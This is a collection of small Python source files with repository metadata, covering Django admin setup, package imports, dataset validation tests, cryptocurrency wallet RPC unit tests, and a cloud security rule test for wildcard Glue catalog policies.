[ "MIT" ]
572
2015-03-20T08:40:05.000Z
2022-03-18T11:09:39.000Z
tests/reps/admin.py
cagerber/django-advanced-filters
48f17f38c4f96c90012daf5f178037dddeb7b1f4
[ "MIT" ]
150
2015-09-15T10:42:19.000Z
2022-03-29T23:23:56.000Z
tests/reps/admin.py
cagerber/django-advanced-filters
48f17f38c4f96c90012daf5f178037dddeb7b1f4
[ "MIT" ]
161
2015-04-08T16:49:35.000Z
2022-03-22T13:39:55.000Z
from django.contrib import admin from .models import SalesRep admin.site.register(SalesRep)
15.666667
32
0.819149
13
94
5.923077
0.692308
0
0
0
0
0
0
0
0
0
0
0
0.117021
94
5
33
18.8
0.927711
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
0.666667
0
0.666667
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
5
d418d30576e492e0f28baf0c18020a29f3cbe2e9
124
py
Python
aiomatrix/dispatcher/storage/room_events/__init__.py
Forden/aiomatrix
d258076bae8eb776495b92be46ee9f4baec8d9a6
[ "MIT" ]
2
2021-10-29T18:07:08.000Z
2021-11-19T00:25:43.000Z
aiomatrix/dispatcher/storage/room_events/__init__.py
Forden/aiomatrix
d258076bae8eb776495b92be46ee9f4baec8d9a6
[ "MIT" ]
1
2022-03-06T11:17:43.000Z
2022-03-06T11:17:43.000Z
aiomatrix/dispatcher/storage/room_events/__init__.py
Forden/aiomatrix
d258076bae8eb776495b92be46ee9f4baec8d9a6
[ "MIT" ]
null
null
null
from . import models from .base import BaseEventStorage from .repo import EventsRepo from .sqlite import SqliteEventStorage
24.8
38
0.83871
15
124
6.933333
0.6
0
0
0
0
0
0
0
0
0
0
0
0.129032
124
4
39
31
0.962963
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
5
d42219b5c4f0f11b6e4674727ae9cae27df91cf3
147
py
Python
rl_groundup/functions/__init__.py
TristanBester/rl_groundup
2e981667e21330a35a6ab2a642e278aaaf4dca84
[ "MIT" ]
1
2021-04-20T00:43:43.000Z
2021-04-20T00:43:43.000Z
rl_groundup/functions/__init__.py
TristanBester/rl_groundup
2e981667e21330a35a6ab2a642e278aaaf4dca84
[ "MIT" ]
null
null
null
rl_groundup/functions/__init__.py
TristanBester/rl_groundup
2e981667e21330a35a6ab2a642e278aaaf4dca84
[ "MIT" ]
null
null
null
from .linear_policy import LinearPolicy from .linear_value_function import LinearValueFunction from .exponential_softmax import ExponentialSoftmax
36.75
54
0.897959
16
147
8
0.6875
0.15625
0
0
0
0
0
0
0
0
0
0
0.081633
147
3
55
49
0.948148
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
5
d48692ca4f9e178f2fece0a2477f93c5ae802376
255
py
Python
test.py
cldf-datasets/easterdaysyllablestructure
e79165ee5f202d59f7029c7495dc57c9f5045b37
[ "CC-BY-4.0" ]
null
null
null
test.py
cldf-datasets/easterdaysyllablestructure
e79165ee5f202d59f7029c7495dc57c9f5045b37
[ "CC-BY-4.0" ]
2
2020-01-22T07:42:23.000Z
2021-04-21T14:01:24.000Z
test.py
cldf-datasets/easterdaysyllablestructure
e79165ee5f202d59f7029c7495dc57c9f5045b37
[ "CC-BY-4.0" ]
null
null
null
def test_valid(cldf_dataset, cldf_logger): assert cldf_dataset.validate(log=cldf_logger) def test_ext(cldf_dataset, cldf_logger): assert len(list(cldf_dataset['LanguageTable'])) == 100 assert len(list(cldf_dataset['ParameterTable'])) == 48
28.333333
58
0.752941
35
255
5.2
0.457143
0.302198
0.164835
0.230769
0.527473
0
0
0
0
0
0
0.022321
0.121569
255
8
59
31.875
0.790179
0
0
0
0
0
0.106299
0
0
0
0
0
0.6
1
0.4
false
0
0
0
0.4
0
0
0
0
null
1
0
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
1
0
1
0
0
0
0
0
0
0
5
d486b2a54f5242976d31b7b0c815b428c443301d
40
py
Python
poetryenv/exceptions.py
1izard/poetryenv
19fe8c32b49471f07ba494878654ff29cd7d6e43
[ "MIT" ]
null
null
null
poetryenv/exceptions.py
1izard/poetryenv
19fe8c32b49471f07ba494878654ff29cd7d6e43
[ "MIT" ]
null
null
null
poetryenv/exceptions.py
1izard/poetryenv
19fe8c32b49471f07ba494878654ff29cd7d6e43
[ "MIT" ]
null
null
null
class RunnerError(ValueError): pass
13.333333
30
0.75
4
40
7.5
1
0
0
0
0
0
0
0
0
0
0
0
0.175
40
2
31
20
0.909091
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0.5
0
0
0.5
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
1
0
0
0
0
0
5
00f93380e0ac3f6026a160646c5b02f5277a8169
144
py
Python
wavespec/Fourier/__init__.py
mattkjames7/wavespec
2928ac3f4fb921a21caba3663b0d7c22e43692fa
[ "MIT" ]
1
2021-01-04T15:08:57.000Z
2021-01-04T15:08:57.000Z
wavespec/Fourier/__init__.py
mattkjames7/wavespec
2928ac3f4fb921a21caba3663b0d7c22e43692fa
[ "MIT" ]
null
null
null
wavespec/Fourier/__init__.py
mattkjames7/wavespec
2928ac3f4fb921a21caba3663b0d7c22e43692fa
[ "MIT" ]
null
null
null
from .FFT import FFT from .Spectrogram import Spectrogram from .Spectrogram3D import Spectrogram3D from .PlotSpectrogram import PlotSpectrogram
28.8
44
0.861111
16
144
7.75
0.375
0
0
0
0
0
0
0
0
0
0
0.015625
0.111111
144
4
45
36
0.953125
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
5
2e0bba1d0288bc6d174b85303f7caa920547d16f
58
py
Python
final.py
marcogomezwong/cs3240-labdemo
a6aa0c7fabd1a9238ca78a0a6567ad48a7f63d71
[ "MIT" ]
1
2018-05-19T02:21:07.000Z
2018-05-19T02:21:07.000Z
final.py
marcogomezwong/cs3240-labdemo
a6aa0c7fabd1a9238ca78a0a6567ad48a7f63d71
[ "MIT" ]
null
null
null
final.py
marcogomezwong/cs3240-labdemo
a6aa0c7fabd1a9238ca78a0a6567ad48a7f63d71
[ "MIT" ]
null
null
null
import helper def this(): print("This just prints")
9.666667
29
0.655172
8
58
4.75
0.875
0
0
0
0
0
0
0
0
0
0
0
0.224138
58
5
30
11.6
0.844444
0
0
0
0
0
0.280702
0
0
0
0
0
0
1
0.333333
true
0
0.333333
0
0.666667
0.333333
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
1
0
1
0
0
0
0
5
2e1ba41d3ac85f8722e7a89be6f6516c5e3d8f21
17,703
py
Python
rpc_test_cases/xbridge_rpc_wallet_list_test.py
Palem1988/blocknetdx-utils
2d91f3a2b416ff49949cd105de733b4585e3c8b0
[ "MIT" ]
null
null
null
rpc_test_cases/xbridge_rpc_wallet_list_test.py
Palem1988/blocknetdx-utils
2d91f3a2b416ff49949cd105de733b4585e3c8b0
[ "MIT" ]
null
null
null
rpc_test_cases/xbridge_rpc_wallet_list_test.py
Palem1988/blocknetdx-utils
2d91f3a2b416ff49949cd105de733b4585e3c8b0
[ "MIT" ]
1
2019-10-02T23:40:17.000Z
2019-10-02T23:40:17.000Z
import unittest import random import xbridge_logger from bitcoinrpc.authproxy import AuthServiceProxy, JSONRPCException from interface import xbridge_rpc from utils import xbridge_utils from utils import xbridge_custom_exceptions import sys sys.path.insert(0,'..') import xbridge_config subTest_count = xbridge_config.get_conf_subtests_run_number() MAX_LOG_LENGTH = xbridge_config.get_param_max_char_length_to_display() class wallet_List_UnitTest(unittest.TestCase): def setUp(self): xbridge_utils.generate_new_set_of_data(data_nature=xbridge_utils.INVALID_DATA, char_min_size=1, char_max_size=10000) # listaddressgroupings def test_listaddressgroupings(self): try: self.assertIsInstance(xbridge_rpc.rpc_connection.listaddressgroupings(), list) xbridge_logger.XLOG("test_listaddressgroupings", 0) except AssertionError as ass_err: xbridge_logger.XLOG("test_listaddressgroupings", 1, ass_err) except JSONRPCException as json_excpt: xbridge_logger.XLOG("test_listaddressgroupings", 2, json_excpt) # listlockunspent def test_listlockunspent(self): try: self.assertIsInstance(xbridge_rpc.rpc_connection.listlockunspent(), list) xbridge_logger.XLOG("test_listlockunspent", 0) except AssertionError as ass_err: xbridge_logger.XLOG("test_listlockunspent", 1, ass_err) except JSONRPCException as json_excpt: xbridge_logger.XLOG("test_listlockunspent", 2, json_excpt) # listreceivedbyaccount (minconf includeempty includeWatchonly) def test_listreceivedbyaccount_valid(self): log_json = "" try: self.assertIsInstance(xbridge_rpc.rpc_connection.listreceivedbyaccount(), list) optional_minconf = xbridge_utils.generate_random_int(-9999999999, 9999999999) optional_includeempty = random.choice([True, False]) optional_includeWatchonly = random.choice([True, False]) self.assertIsInstance(xbridge_rpc.rpc_connection.listreceivedbyaccount(optional_minconf, optional_includeempty, optional_includeWatchonly), list) xbridge_logger.XLOG("test_listreceivedbyaccount_valid", 0) except AssertionError as ass_err: xbridge_logger.XLOG("test_listreceivedbyaccount_valid", 1, ass_err, [optional_minconf, optional_includeempty, optional_includeWatchonly]) except JSONRPCException as json_excpt: xbridge_logger.XLOG("test_listreceivedbyaccount_valid", 1, json_excpt, [optional_minconf, optional_includeempty, optional_includeWatchonly]) # listreceivedbyaccount (minconf includeempty includeWatchonly) def test_listreceivedbyaccount_invalid(self): custom_set = [x for x in xbridge_utils.set_of_invalid_parameters if x is not None] for i in range(subTest_count): with self.subTest("subtest combinations"): try: optional_minconf = random.choice(custom_set) optional_includeempty = random.choice(custom_set) optional_includeWatchonly = random.choice(custom_set) if isinstance(optional_minconf, int) and isinstance(optional_includeempty, bool) and isinstance(optional_includeWatchonly, bool): continue self.assertRaises(xbridge_custom_exceptions.ValidBlockNetException, xbridge_rpc.listreceivedbyaccount, optional_minconf, optional_includeempty, optional_includeWatchonly) xbridge_logger.XLOG("test_listreceivedbyaccount_invalid", 0) except AssertionError as ass_err: xbridge_logger.XLOG("test_listreceivedbyaccount_valid", 1, ass_err, [optional_minconf, optional_includeempty, optional_includeWatchonly]) # listreceivedbyaddress (minconf includeempty includeWatchonly) def test_listreceivedbyaddress_valid(self): try: self.assertIsInstance(xbridge_rpc.listreceivedbyaddress(), list) optional_minconf = xbridge_utils.generate_random_int(-9999999999, 9999999999) optional_includeempty = random.choice([True, False]) optional_includeWatchonly = random.choice([True, False]) self.assertIsInstance(xbridge_rpc.listreceivedbyaddress(optional_minconf, optional_includeempty, optional_includeWatchonly), list) xbridge_logger.XLOG("test_listreceivedbyaddress_valid", 0) except AssertionError as ass_err: xbridge_logger.XLOG("test_listreceivedbyaccount_valid", 1, ass_err, [optional_minconf, optional_includeempty, optional_includeWatchonly]) except JSONRPCException as json_excpt: xbridge_logger.XLOG("test_listreceivedbyaccount_valid", 2, json_excpt, [optional_minconf, optional_includeempty, optional_includeWatchonly]) def test_listreceivedbyaddress_invalid(self): custom_set = [x for x in xbridge_utils.set_of_invalid_parameters if x is not None] for i in range(subTest_count): log_json = "" with self.subTest("combinations"): try: optional_minconf = random.choice(custom_set) optional_includeempty = random.choice(custom_set) optional_includeWatchonly = random.choice(custom_set) if isinstance(optional_minconf, int) and isinstance(optional_includeempty, bool) and isinstance(optional_includeWatchonly, bool): continue self.assertRaises(xbridge_custom_exceptions.ValidBlockNetException, xbridge_rpc.listreceivedbyaddress, optional_minconf, optional_includeempty, optional_includeWatchonly) log_json = {"group": "test_listreceivedbyaddress_invalid", "success": 1, "failure": 0, "error": 0} xbridge_utils.ERROR_LOG.append(log_json) except AssertionError as ass_err: log_json = {"group": "test_listreceivedbyaddress_invalid", "success": 0, "failure": 1, "error": 0} xbridge_utils.ERROR_LOG.append(log_json) if MAX_LOG_LENGTH > 0: xbridge_logger.logger.info('test_listreceivedbyaddress_invalid FAILED: %s' % ass_err) xbridge_logger.logger.info('optional_minconf: %s' % str(optional_minconf)[:MAX_LOG_LENGTH]) xbridge_logger.logger.info('optional_includeempty: %s' % str(optional_includeempty)[:MAX_LOG_LENGTH]) xbridge_logger.logger.info('optional_includeWatchonly: %s' % str(optional_includeWatchonly)[:MAX_LOG_LENGTH]) # listtransactions ( "account" count from includeWatchonly) def test_listtransactions_valid(self): try: self.assertIsInstance(xbridge_rpc.listtransactions(), list) xbridge_logger.XLOG("test_listtransactions_valid", 0) except AssertionError as ass_err: log_json = {"group": "test_listtransactions_valid", "success": 0, "failure": 1, "error": 0} xbridge_utils.ERROR_LOG.append(log_json) xbridge_logger.logger.info('test_listtransactions_valid FAILED: %s' % ass_err) except JSONRPCException as json_excpt: xbridge_logger.logger.info('test_listtransactions_valid ERROR: %s' % str(json_excpt)) log_json = {"group": "test_listtransactions_valid", "success": 0, "failure": 0, "error": 1} xbridge_utils.ERROR_LOG.append(log_json) # listtransactions ( "account" count from includeWatchonly) def test_listtransactions_invalid(self): custom_set = [x for x in xbridge_utils.set_of_invalid_parameters if x is not None] log_json = "" for i in range(subTest_count): log_json = "" with self.subTest("subtest combinations"): try: optional_account = random.choice(custom_set) optional_count = random.choice(custom_set) optional_from = random.choice(custom_set) optional_includeWatchonly = random.choice(custom_set) if (optional_account == "") and (optional_count == 0) and (optional_from == 0): self.assertIsInstance(xbridge_rpc.listtransactions(optional_account, optional_count, optional_from, optional_includeWatchonly), list) else: self.assertIsNone(xbridge_rpc.listtransactions(optional_account, optional_count, optional_from, optional_includeWatchonly)) log_json = {"group": "test_listtransactions_invalid", "success": 1, "failure": 0, "error": 0} xbridge_utils.ERROR_LOG.append(log_json) except AssertionError as ass_err: log_json = {"group": "test_listtransactions_invalid", "success": 0, "failure": 1, "error": 0} xbridge_utils.ERROR_LOG.append(log_json) xbridge_logger.logger.info('\ntest_listtransactions_invalid FAILED: %s' % ass_err) if MAX_LOG_LENGTH > 0: xbridge_logger.logger.info('optional_account: %s' % str(optional_account)[:MAX_LOG_LENGTH]) xbridge_logger.logger.info('optional_count: %s' % str(optional_count)[:MAX_LOG_LENGTH]) xbridge_logger.logger.info('optional_from: %s' % str(optional_from)[:MAX_LOG_LENGTH]) xbridge_logger.logger.info('optional_includeWatchonly: %s' % str(optional_includeWatchonly)[:MAX_LOG_LENGTH]) except JSONRPCException as json_excpt: xbridge_logger.logger.info('test_listtransactions_invalid ERROR: %s' % str(json_excpt)) log_json = {"group": "test_listtransactions_invalid", "success": 0, "failure": 0, "error": 1} xbridge_utils.ERROR_LOG.append(log_json) if MAX_LOG_LENGTH > 0: xbridge_logger.logger.info('optional_account: %s' % str(optional_account)[:MAX_LOG_LENGTH]) xbridge_logger.logger.info('optional_count: %s' % str(optional_count)[:MAX_LOG_LENGTH]) xbridge_logger.logger.info('optional_from: %s' % str(optional_from)[:MAX_LOG_LENGTH]) xbridge_logger.logger.info('optional_includeWatchonly: %s' % str(optional_includeWatchonly)[:MAX_LOG_LENGTH]) # listsinceblock ("blockhash" target-confirmations includeWatchonly) def test_listsinceblock_invalid(self): log_json = "" custom_set = [x for x in xbridge_utils.set_of_invalid_parameters if x is not None] for i in range(subTest_count): log_json = "" with self.subTest("subtest combinations"): try: optional_blockhash = random.choice(custom_set) optional_target_confirmations = random.choice(custom_set) optional_includeWatchonly = random.choice(custom_set) self.assertRaises(xbridge_custom_exceptions.ValidBlockNetException, xbridge_rpc.listsinceblock, optional_blockhash, optional_target_confirmations, optional_includeWatchonly) log_json = {"group": "test_listsinceblock", "success": 1, "failure": 0, "error": 0} xbridge_utils.ERROR_LOG.append(log_json) except AssertionError as ass_err: log_json = {"group": "test_listsinceblock", "success": 0, "failure": 1, "error": 0} xbridge_utils.ERROR_LOG.append(log_json) xbridge_logger.logger.info('test_listsinceblock FAILED: %s' % ass_err) if MAX_LOG_LENGTH > 0: xbridge_logger.logger.info('optional_blockhash: %s' % str(optional_blockhash)[:MAX_LOG_LENGTH]) xbridge_logger.logger.info('optional_target_confirmations: %s' % str(optional_target_confirmations)[:MAX_LOG_LENGTH]) xbridge_logger.logger.info('optional_includeWatchonly: %s' % str(optional_includeWatchonly)[:MAX_LOG_LENGTH]) except JSONRPCException as json_excpt: xbridge_logger.logger.info('test_listsinceblock ERROR: %s' % str(json_excpt)) log_json = {"group": "test_listsinceblock", "success": 0, "failure": 0, "error": 1} xbridge_utils.ERROR_LOG.append(log_json) if MAX_LOG_LENGTH > 0: xbridge_logger.logger.info('optional_blockhash: %s' % str(optional_blockhash)[:MAX_LOG_LENGTH]) xbridge_logger.logger.info('optional_target_confirmations: %s' % str(optional_target_confirmations)[:MAX_LOG_LENGTH]) xbridge_logger.logger.info('optional_includeWatchonly: %s' % str(optional_includeWatchonly)[:MAX_LOG_LENGTH]) # listaccounts (minconf includeWatchonly) def test_listaccounts_valid_1(self): try: self.assertIsInstance(xbridge_rpc.listaccounts(), dict) log_json = {"group": "test_listaccounts_valid_1", "success": 1, "failure": 0, "error": 0} xbridge_utils.ERROR_LOG.append(log_json) except AssertionError as ass_err: log_json = {"group": "test_listaccounts_valid_1", "success": 0, "failure": 1, "error": 0} xbridge_utils.ERROR_LOG.append(log_json) # listaccounts (minconf includeWatchonly) def test_listaccounts_valid_2(self): for i in range(subTest_count): log_json = "" with self.subTest("combinations"): try: optional_minconf = xbridge_utils.generate_random_int(-9999999, 9999999) optional_includeWatchonly = random.choice([True, False]) self.assertIsInstance(xbridge_rpc.listaccounts(), dict) log_json = {"group": "test_listaccounts_valid_2", "success": 1, "failure": 0, "error": 0} xbridge_utils.ERROR_LOG.append(log_json) except AssertionError as ass_err: xbridge_logger.XLOG("test_listaccounts_valid_2", 1, ass_err, [optional_minconf, optional_includeWatchonly]) except JSONRPCException as json_excpt: xbridge_logger.XLOG("test_listaccounts_valid_2", 2, json_excpt, [optional_minconf, optional_includeWatchonly]) # listaccounts (minconf includeWatchonly) def test_listaccounts_invalid(self): custom_set = [x for x in xbridge_utils.set_of_invalid_parameters if x is not None] for i in range(subTest_count): log_json = "" with self.subTest("subtest combinations"): try: optional_minconf = random.choice(custom_set) optional_includeWatchonly = random.choice(custom_set) if isinstance(optional_minconf, int) and isinstance(optional_includeWatchonly, bool): continue self.assertRaises(xbridge_custom_exceptions.ValidBlockNetException, xbridge_rpc.listaccounts, optional_minconf, optional_includeWatchonly) log_json = {"group": "test_listaccounts_invalid", "success": 1, "failure": 0, "error": 0} xbridge_utils.ERROR_LOG.append(log_json) except AssertionError as ass_err: log_json = {"group": "test_listaccounts_invalid", "success": 0, "failure": 1, "error": 0} xbridge_utils.ERROR_LOG.append(log_json) if MAX_LOG_LENGTH > 0: xbridge_logger.logger.info('\ntest_listaccounts_invalid FAILED: %s' % ass_err) xbridge_logger.logger.info('optional_minconf: %s' % str(optional_minconf)[:MAX_LOG_LENGTH]) xbridge_logger.logger.info('optional_includeWatchonly: %s' % str(optional_includeWatchonly)[:MAX_LOG_LENGTH]) except JSONRPCException as json_excpt: log_json = {"group": "test_listaccounts_invalid", "success": 0, "failure": 0, "error": 1} xbridge_utils.ERROR_LOG.append(log_json) if MAX_LOG_LENGTH > 0: xbridge_logger.logger.info('\ntest_listaccounts_invalid ERROR: %s' % json_excpt) xbridge_logger.logger.info('optional_minconf: %s' % str(optional_minconf)[:MAX_LOG_LENGTH]) xbridge_logger.logger.info('optional_includeWatchonly: %s' % str(optional_includeWatchonly)[:MAX_LOG_LENGTH]) # unittest.main() """ suite = unittest.TestSuite() # suite.addTest(wallet_List_UnitTest("test_listreceivedbyaccount_invalid")) for i in range(40): suite.addTest(wallet_List_UnitTest("test_listsinceblock_invalid")) runner = unittest.TextTestRunner() runner.run(suite) """
66.552632
194
0.634525
1,755
17,703
6.076353
0.071225
0.058515
0.053451
0.064704
0.875094
0.835334
0.805233
0.733308
0.687922
0.669167
0
0.011322
0.281534
17,703
265
195
66.803774
0.827109
0.03056
0
0.584821
0
0
0.13345
0.074272
0
0
0
0
0.120536
1
0.058036
false
0
0.040179
0
0.102679
0
0
0
0
null
0
0
0
1
1
1
1
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
5
2e29fc62d236ee07c80aea6faae999bd47a3dd19
115
py
Python
04-flow-of-control/ranges.py
johnehunt/Python3Intro
2a41ce488aac11bb3928ea81e57be1c2c8acdac2
[ "Apache-2.0" ]
1
2020-11-03T19:46:25.000Z
2020-11-03T19:46:25.000Z
04-flow-of-control/ranges.py
johnehunt/PythonIntroDS
7e9d5c5494191cd68bc71e140df5fb30290a8da6
[ "Apache-2.0" ]
null
null
null
04-flow-of-control/ranges.py
johnehunt/PythonIntroDS
7e9d5c5494191cd68bc71e140df5fb30290a8da6
[ "Apache-2.0" ]
null
null
null
for i in range(1, 10, 2): print(i, ' ', end='') print() for i in range(10, 1, -2): print(i, ' ', end='')
14.375
26
0.46087
21
115
2.52381
0.428571
0.150943
0.226415
0.415094
0
0
0
0
0
0
0
0.095238
0.269565
115
7
27
16.428571
0.535714
0
0
0.4
0
0
0.017391
0
0
0
0
0
0
1
0
false
0
0
0
0
0.6
1
0
0
null
0
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
1
0
5
2e50249655a90729464bd2b7b5a69ad870004451
114
py
Python
pyquil/__init__.py
notmgsk/pyquil
db42246e4cf0a7801a58250ab16629c27815997a
[ "Apache-2.0" ]
1
2019-03-11T13:37:20.000Z
2019-03-11T13:37:20.000Z
pyquil/__init__.py
notmgsk/pyquil
db42246e4cf0a7801a58250ab16629c27815997a
[ "Apache-2.0" ]
null
null
null
pyquil/__init__.py
notmgsk/pyquil
db42246e4cf0a7801a58250ab16629c27815997a
[ "Apache-2.0" ]
null
null
null
__version__ = "2.4.0.dev0" from pyquil.quil import Program from pyquil.api import list_quantum_computers, get_qc
22.8
53
0.807018
19
114
4.473684
0.842105
0.235294
0
0
0
0
0
0
0
0
0
0.039604
0.114035
114
4
54
28.5
0.80198
0
0
0
0
0
0.087719
0
0
0
0
0
0
1
0
false
0
0.666667
0
0.666667
0
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
5
2e63aebec59d91dae8b745400f0b273a04668895
123
py
Python
ValidationApp/admin.py
cs-fullstack-2019-spring/django-validation-ic-Kenn-CodeCrew-1
4a02bdc4b9f9c171c085653fc6d7bfc9ca25c7b1
[ "Apache-2.0" ]
null
null
null
ValidationApp/admin.py
cs-fullstack-2019-spring/django-validation-ic-Kenn-CodeCrew-1
4a02bdc4b9f9c171c085653fc6d7bfc9ca25c7b1
[ "Apache-2.0" ]
null
null
null
ValidationApp/admin.py
cs-fullstack-2019-spring/django-validation-ic-Kenn-CodeCrew-1
4a02bdc4b9f9c171c085653fc6d7bfc9ca25c7b1
[ "Apache-2.0" ]
null
null
null
from django.contrib import admin from .models import UserModel # Register your models here. admin.site.register(UserModel)
24.6
32
0.821138
17
123
5.941176
0.647059
0
0
0
0
0
0
0
0
0
0
0
0.113821
123
5
33
24.6
0.926606
0.211382
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
0.666667
0
0.666667
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
5
2e6ec84e1bd089d133154dec26bba3cb133f78c4
146
py
Python
_textfsm/__init__.py
zxx1819/-
1c04ce5f6b8bdd0ccf592ad02b50b8f901c28cbb
[ "MIT" ]
null
null
null
_textfsm/__init__.py
zxx1819/-
1c04ce5f6b8bdd0ccf592ad02b50b8f901c28cbb
[ "MIT" ]
null
null
null
_textfsm/__init__.py
zxx1819/-
1c04ce5f6b8bdd0ccf592ad02b50b8f901c28cbb
[ "MIT" ]
null
null
null
from _textfsm import _terminal from _textfsm import _texttable from _textfsm import _clitable __all__ = ("_terminal", "_texttable", "_clitable")
24.333333
50
0.80137
16
146
6.5
0.4375
0.317308
0.490385
0
0
0
0
0
0
0
0
0
0.123288
146
5
51
29.2
0.8125
0
0
0
0
0
0.191781
0
0
0
0
0
0
1
0
false
0
0.75
0
0.75
0
1
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
5
2e7f80f504ff8e47f45a1bd0c12a37be03855301
113
py
Python
spaceship/__main__.py
antoan-angelov/SPACESHIP
80c5ebf270446433cfbbacc76a6668bad1755cd0
[ "MIT" ]
13
2015-07-13T22:18:20.000Z
2017-10-02T20:57:58.000Z
spaceship/__main__.py
antoan-angelov/spaceship
80c5ebf270446433cfbbacc76a6668bad1755cd0
[ "MIT" ]
null
null
null
spaceship/__main__.py
antoan-angelov/spaceship
80c5ebf270446433cfbbacc76a6668bad1755cd0
[ "MIT" ]
null
null
null
from spaceship.console.main import Main import sys def main(): Main() if __name__ == "__main__": main()
14.125
39
0.672566
15
113
4.533333
0.6
0.294118
0
0
0
0
0
0
0
0
0
0
0.20354
113
8
40
14.125
0.755556
0
0
0
0
0
0.070175
0
0
0
0
0
0
1
0.166667
true
0
0.333333
0
0.5
0
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
0
0
0
5
5cf6d7869dd798b1309ea69677c5b735b4774da6
158
py
Python
aptlist/admin.py
ghbrown60640/rentsite
faf7fc68ace3f3e0797ba9ecdff9819890cf7f96
[ "MIT" ]
null
null
null
aptlist/admin.py
ghbrown60640/rentsite
faf7fc68ace3f3e0797ba9ecdff9819890cf7f96
[ "MIT" ]
null
null
null
aptlist/admin.py
ghbrown60640/rentsite
faf7fc68ace3f3e0797ba9ecdff9819890cf7f96
[ "MIT" ]
null
null
null
from django.contrib import admin from .models import Apartment, Lease # Register your models here. admin.site.register(Apartment) admin.site.register(Lease)
22.571429
36
0.810127
22
158
5.818182
0.545455
0.140625
0.265625
0
0
0
0
0
0
0
0
0
0.107595
158
6
37
26.333333
0.907801
0.164557
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
0.5
0
0.5
0
1
0
0
null
0
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
0
0
0
5
5cfcad9cd7f7515ab60a0d73a1e2606beae1f94a
4,759
py
Python
tests/knowledge/rules/aws/non_context_aware/policy_wildcard_violation/test_ensure_glue_data_catalog_policy_not_use_wildcard_rule.py
my-devops-info/cloudrail-knowledge
b7c1bbd6fe1faeb79c105a01c0debbe24d031a0e
[ "MIT" ]
null
null
null
tests/knowledge/rules/aws/non_context_aware/policy_wildcard_violation/test_ensure_glue_data_catalog_policy_not_use_wildcard_rule.py
my-devops-info/cloudrail-knowledge
b7c1bbd6fe1faeb79c105a01c0debbe24d031a0e
[ "MIT" ]
null
null
null
tests/knowledge/rules/aws/non_context_aware/policy_wildcard_violation/test_ensure_glue_data_catalog_policy_not_use_wildcard_rule.py
my-devops-info/cloudrail-knowledge
b7c1bbd6fe1faeb79c105a01c0debbe24d031a0e
[ "MIT" ]
null
null
null
import unittest from cloudrail.dev_tools.rule_test_utils import create_empty_entity from cloudrail.knowledge.context.aws.glue.glue_data_catalog_policy import GlueDataCatalogPolicy from cloudrail.knowledge.context.aws.glue.glue_data_catalog_table import GlueDataCatalogTable from cloudrail.knowledge.context.aws.iam.policy_statement import PolicyStatement, StatementEffect from cloudrail.knowledge.context.aws.iam.principal import Principal, PrincipalType from cloudrail.knowledge.context.aws.aws_environment_context import AwsEnvironmentContext from cloudrail.knowledge.rules.aws.non_context_aware.policy_wildcard_violation.ensure_glue_data_catalog_policy_not_use_wildcard_rule import \ EnsureGlueDataCatalogPolicyNotUseWildcard from cloudrail.knowledge.rules.base_rule import RuleResultType class TestEnsureGlueDataCatalogPolicyNotUseWildcard(unittest.TestCase): def setUp(self): self.rule = EnsureGlueDataCatalogPolicyNotUseWildcard() def test_non_car_aws_glue_data_catalog_policy_wildcard_fail(self): # Arrange gdc = GlueDataCatalogPolicy([PolicyStatement(StatementEffect.ALLOW, ['glue:*'], ['*'], Principal(PrincipalType.PUBLIC, ['*']))], None, None, 'us-east-1') gdc_table: GlueDataCatalogTable = create_empty_entity(GlueDataCatalogTable) gdc_table.region = 'us-east-1' context = AwsEnvironmentContext(glue_data_catalog_policy=[gdc], glue_data_catalog_tables=[gdc_table]) # Act result = self.rule.run(context, {}) # Assert self.assertEqual(RuleResultType.FAILED, result.status) self.assertEqual(1, len(result.issues)) self.assertTrue("is using wildcard action `glue:*`, and principal `AWS: *`, without any condition" in result.issues[0].evidence) def test_non_car_aws_glue_data_catalog_policy_wildcard__only_effected_principal__fail(self): # Arrange gdc = GlueDataCatalogPolicy([PolicyStatement(StatementEffect.ALLOW, ['glue:GetDataCatalogEncryptionSettings'], ['*'], Principal(PrincipalType.PUBLIC, ['*']))], None, None, 'us-east-1') gdc_table: GlueDataCatalogTable = 